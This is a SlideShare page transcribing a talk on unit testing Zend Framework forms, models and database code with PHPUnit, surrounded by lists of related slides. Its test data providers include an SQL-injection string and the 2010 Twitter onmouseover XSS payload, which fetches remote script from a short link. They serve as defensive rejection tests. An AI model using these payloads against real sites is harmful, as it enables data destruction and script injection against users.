Design how your objects talk through mocking
Design how your objects talk through mocking
Konstantin Kudryashov
 
R57shell
R57shell
ady36
 
Zero to SOLID
Zero to SOLID
Vic Metcalfe
 
November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2
Kacper Gunia
 
Adding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy Applications
Sam Hennessy
 
CakePHP workshop
CakePHP workshop
Walther Lalk
 
Php unit the-mostunknownparts
Php unit the-mostunknownparts
Bastian Feder
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technology
Daniel Knell
 
Zf2 how arrays will save your project
Zf2 how arrays will save your project
Michelangelo van Dam
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
smueller_sandsmedia
 
Decoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DIC
Konstantin Kudryashov
 
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015
Konstantin Kudryashov
 
購物車程式架構簡介
購物車程式架構簡介
Jace Ju
 
PHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くために
Yuya Takeyama
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
mfrost503
 
Crafting beautiful software
Crafting beautiful software
Jorn Oomen
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Colin O'Dell
 
Design how your objects talk through mocking
Design how your objects talk through mocking
Konstantin Kudryashov
 
R57shell
R57shell
ady36
 
November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2
Kacper Gunia
 
Adding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy Applications
Sam Hennessy
 

Viewers also liked (20)

Laravel tips
Laravel tips
Morten Bergset
 
Express yourself
Express yourself
Yaniv Rodenski
 
Laravel 4 package development
Laravel 4 package development
Tihomir Opačić
 
Sst hackathon express
Sst hackathon express
Aeshan Wijetunge
 
Big Data loves JS
Big Data loves JS
Dominiek ter Heide
 
Intro to Laravel 4 : By Chris Moore
Intro to Laravel 4 : By Chris Moore
kareerme
 
expressjs-cleancontroller-160427080619
expressjs-cleancontroller-160427080619
Roman Sachenko
 
Kraken.js Lab Primer
Kraken.js Lab Primer
Aeshan Wijetunge
 
Cooking with jQuery
Cooking with jQuery
mikehostetler
 
San Francisco PHP Meetup Presentation on Zend Framework
San Francisco PHP Meetup Presentation on Zend Framework
zend
 
Facebook Development with Zend Framework
Facebook Development with Zend Framework
Brett Harris
 
Node lt
Node lt
snodar
 
Nature
Nature
Manuela Szekely
 
Beginning Jquery In Drupal Theming
Beginning Jquery In Drupal Theming
Rob Knight
 
Zend Framework Components for non-framework Development
Zend Framework Components for non-framework Development
Shahar Evron
 
PHPBootcamp - Zend Framework
PHPBootcamp - Zend Framework
thomasw
 
Stack Overflow Austin - jQuery for Developers
Stack Overflow Austin - jQuery for Developers
Jonathan Sharp
 
Frontend technologies
Frontend technologies
Jose Ramon Roblero Ruiz
 
Devdays Seattle jQuery Intro for Developers
Devdays Seattle jQuery Intro for Developers
cody lindley
 
Node js presentation
Node js presentation
shereefsakr
 
Laravel 4 package development
Laravel 4 package development
Tihomir Opačić
 
Intro to Laravel 4 : By Chris Moore
Intro to Laravel 4 : By Chris Moore
kareerme
 
expressjs-cleancontroller-160427080619
expressjs-cleancontroller-160427080619
Roman Sachenko
 
San Francisco PHP Meetup Presentation on Zend Framework
San Francisco PHP Meetup Presentation on Zend Framework
zend
 
Facebook Development with Zend Framework
Facebook Development with Zend Framework
Brett Harris
 
Node lt
Node lt
snodar
 
Beginning Jquery In Drupal Theming
Beginning Jquery In Drupal Theming
Rob Knight
 
Zend Framework Components for non-framework Development
Zend Framework Components for non-framework Development
Shahar Evron
 
PHPBootcamp - Zend Framework
PHPBootcamp - Zend Framework
thomasw
 
Stack Overflow Austin - jQuery for Developers
Stack Overflow Austin - jQuery for Developers
Jonathan Sharp
 
Devdays Seattle jQuery Intro for Developers
Devdays Seattle jQuery Intro for Developers
cody lindley
 
Node js presentation
Node js presentation
shereefsakr
 
Ad

Similar to Unit testing with zend framework PHPBenelux (20)

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Michelangelo van Dam
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
Michelangelo van Dam
 
Virtual Madness @ Etsy
Virtual Madness @ Etsy
Nishan Subedi
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2
Shinya Ohyanagi
 
Unittests für Dummies
Unittests für Dummies
Lars Jankowfsky
 
PhpUnit - The most unknown Parts
PhpUnit - The most unknown Parts
Bastian Feder
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
mfrost503
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013
Michelangelo van Dam
 
Lithium Best
Lithium Best
Richard McIntyre
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
Michelangelo van Dam
 
PHP Unit Testing
PHP Unit Testing
Tagged Social
 
Fatc
Fatc
Wade Arnold
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
Hisateru Tanaka
 
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
smueller_sandsmedia
 
Php unit the-mostunknownparts
Php unit the-mostunknownparts
Bastian Feder
 
Test driven development_for_php
Test driven development_for_php
Lean Teams Consultancy
 
Why is crud a bad idea - focus on real scenarios
Why is crud a bad idea - focus on real scenarios
Divante
 
Load Testing with PHP and RedLine13
Load Testing with PHP and RedLine13
Jason Lotito
 
Drupal7 dbtng
Drupal7 dbtng
Nicolas Leroy
 
PHPSpec BDD Framework
PHPSpec BDD Framework
Marcello Duarte
 
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Michelangelo van Dam
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
Michelangelo van Dam
 
Virtual Madness @ Etsy
Virtual Madness @ Etsy
Nishan Subedi
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2
Shinya Ohyanagi
 
PhpUnit - The most unknown Parts
PhpUnit - The most unknown Parts
Bastian Feder
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
mfrost503
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013
Michelangelo van Dam
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
Michelangelo van Dam
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
Hisateru Tanaka
 
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
smueller_sandsmedia
 
Php unit the-mostunknownparts
Php unit the-mostunknownparts
Bastian Feder
 
Why is crud a bad idea - focus on real scenarios
Why is crud a bad idea - focus on real scenarios
Divante
 
Load Testing with PHP and RedLine13
Load Testing with PHP and RedLine13
Jason Lotito
 
Ad

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
Michelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functions
Michelangelo van Dam
 
Privacy by design
Privacy by design
Michelangelo van Dam
 
DevOps or DevSecOps
DevOps or DevSecOps
Michelangelo van Dam
 
Privacy by design
Privacy by design
Michelangelo van Dam
 
Continuous deployment 2.0
Continuous deployment 2.0
Michelangelo van Dam
 
Let your tests drive your code
Let your tests drive your code
Michelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
Michelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
Michelangelo van Dam
 
The road to php 7.1
The road to php 7.1
Michelangelo van Dam
 
Open source for a successful business
Open source for a successful business
Michelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me later
Michelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
Michelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
Michelangelo van Dam
 
Getting hands dirty with php7
Getting hands dirty with php7
Michelangelo van Dam
 
Create, test, secure, repeat
Create, test, secure, repeat
Michelangelo van Dam
 
The Continuous PHP Pipeline
The Continuous PHP Pipeline
Michelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an api
Michelangelo van Dam
 
Your code are my tests
Your code are my tests
Michelangelo van Dam
 
200K+ reasons security is a must
200K+ reasons security is a must
Michelangelo van Dam
 
GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
Michelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functions
Michelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
Michelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
Michelangelo van Dam
 
Open source for a successful business
Open source for a successful business
Michelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me later
Michelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
Michelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
Michelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an api
Michelangelo van Dam
 

Recently uploaded (20)

Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Safe Software
 
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
Edge AI and Vision Alliance
 
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
ICT Frame Magazine Pvt. Ltd.
 
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Josef Weingand
 
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
 
June Patch Tuesday
June Patch Tuesday
Ivanti
 
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Alliance
 
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Alliance
 
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
Safe Software
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
Artificial Intelligence in the Nonprofit Boardroom.pdf
Artificial Intelligence in the Nonprofit Boardroom.pdf
OnBoard
 
OWASP Barcelona 2025 Threat Model Library
OWASP Barcelona 2025 Threat Model Library
PetraVukmirovic
 
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
Fwdays
 
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
 
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Alliance
 
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
 
The Future of Data, AI, and AR: Innovation Inspired by You.pdf
The Future of Data, AI, and AR: Innovation Inspired by You.pdf
Safe Software
 
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
revolcs10
 
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
Safe Software
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Safe Software
 
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
“Key Requirements to Successfully Implement Generative AI in Edge Devices—Opt...
Edge AI and Vision Alliance
 
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
ICT Frame Magazine Pvt. Ltd.
 
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Wenn alles versagt - IBM Tape schützt, was zählt! Und besonders mit dem neust...
Josef Weingand
 
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
 
June Patch Tuesday
June Patch Tuesday
Ivanti
 
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Alliance
 
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Alliance
 
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
No-Code Workflows for CAD & 3D Data: Scaling AI-Driven Infrastructure
Safe Software
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
Artificial Intelligence in the Nonprofit Boardroom.pdf
Artificial Intelligence in the Nonprofit Boardroom.pdf
OnBoard
 
OWASP Barcelona 2025 Threat Model Library
OWASP Barcelona 2025 Threat Model Library
PetraVukmirovic
 
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
Fwdays
 
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
 
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Alliance
 
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
 
The Future of Data, AI, and AR: Innovation Inspired by You.pdf
The Future of Data, AI, and AR: Innovation Inspired by You.pdf
Safe Software
 
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
revolcs10
 
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
Safe Software
 

Unit testing with zend framework PHPBenelux

  • 1. Unit Testing with Zend Framework PHPBenelux Meeting May 2011 Haasrode - Belgium
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 5. Any reasons not to test?
  • 6. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery •…
  • 8. The cost of bugs Bugs Project Costs 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 9. The cost of bugs Bugs Project Costs Unittests 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 10. Maintainability •- during development test will fail indicating bugs •- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  • 11. Remember “Once a test is made, it will always be tested!”
  • 13. Confidence •- for the developer code works •- for the manager project succeeds •- for sales / general management / share holders making profit •- for the customer paying for what they want
  • 17. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  • 19. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 20. Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
  • 22. CommentForm Name: E-mail Address: Website: Comment: Post
  • 23. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  • 24. The good stuff public function goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  • 25. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  • 26. Create the form class <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  • 28. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  • 30. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  • 31. Green, warm & fuzzy
  • 32. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  • 34. Testing business logic •- models contain logic tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  • 35. Type: data containers •- contains structured data populated through setters and getters •- perform logic tied to it’s purpose transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  • 37. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  • 39. Create a simple model <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  • 40. We pass the test…
  • 42. Not all data from form! •- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  • 43. The good stuff public function goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  • 44. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  • 46. Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  • 47. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  • 48. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  • 49. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  • 52. Integration Testing •- database specific functionality triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  • 53. Points of concern •- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 54. The domain Model • Model object • Mapper object • Table gateway object Read more about it
  • 55. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 56. Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  • 57. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 58. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 59. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 60. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 61. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 62. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
